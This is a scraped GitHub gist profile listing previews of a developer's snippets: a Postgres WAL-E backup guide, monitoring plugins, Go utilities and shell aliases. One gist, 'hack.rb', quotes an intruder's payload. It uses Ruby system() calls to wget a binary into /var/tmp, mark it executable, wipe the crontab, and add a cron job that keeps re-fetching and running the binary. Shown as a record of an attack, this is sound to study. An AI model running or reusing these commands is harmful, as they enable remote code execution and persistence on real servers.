Skip to content

Instantly share code, notes, and snippets.

Working from home

Daniel Huckstep darkhelmet

Working from home
Block or report user

Report or block darkhelmet

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
darkhelmet /
Created Feb 15, 2014 — forked from elithrar/
WAL-E + Postgres 9.x (single server + DB) Setup and Recovery

A quick "how to" on what you need to do to both setup AND recover a single-server PostgreSQL database using WAL-E

  • WAL-E:
  • Assuming Ubuntu 12.04 LTS ("Precise")
  • We'll be using S3. Make sure you have an IAM in a group with GetObject, ListBucket and PutObject on the bucket you want to use (and that it's not public).


  1. These packages:
View reboot_required.rb
class RebootRequiredPlugin < Scout::Plugin
def build_report
reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1')
report(:reboot_required => reboot_required ? 1 : 0)
View spooler.go
// package spooler implements a disk-persistent queue.
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase
// is to enqueue work items received by a service before later working them off.
// Note that Spooler only flushes to disk up to once every 25ms. As a result,
// if the process or machine crashes unexpectedly, the most recent 25ms of work
// can be lost. This decision effectively increases throughput by 10,000%,
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail
// under any circumstances.
package spooler
darkhelmet / heroes.kpeg
Last active Dec 24, 2015
weird kpeg behaviour
View heroes.kpeg
%% name = Heroes
%% {
attr_accessor :result
parser = new(text)
return parser.result if parser.parse
raise ParseError, parser.failure_info
View rc
alias master='git checkout master'
alias staging='git checkout staging'
alias release='git checkout release'
alias production='git checkout production'
alias rake='bundle exec rake'
alias rspec='bundle exec rspec'
alias cucumber='bundle exec cucumber'
eval "$(./sub/bin/ys init -)"
darkhelmet / host.pp
Last active Dec 20, 2015
Puppet manifest for scout
View host.pp
import "setup"
node server {
scout { "role1,role2":
gems => ["redis", "resque"]
View newrelic.rb
require 'new_relic/agent/instrumentation/sinatra'
module NewRelic
module Agent
module Instrumentation
module Sinatra
def ignore_apdex?
skip = self.response.status.to_i == 404
if skip
darkhelmet / balance.go
Created Jun 16, 2013
Simple TCP load balancer in Go.
View balance.go
package main
import (
darkhelmet / hack.rb
Created May 23, 2013
What this Ukraine hacker was trying to run on our servers.
View hack.rb
# Wanted to eval this
# Which would run this
system("wget -O /var/tmp/k")
system("chmod +x /var/tmp/k")
system('crontab -r')
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -')
View thash.go
package thash
import (
type THashDefer struct {
h map[int]string
You can’t perform that action at this time.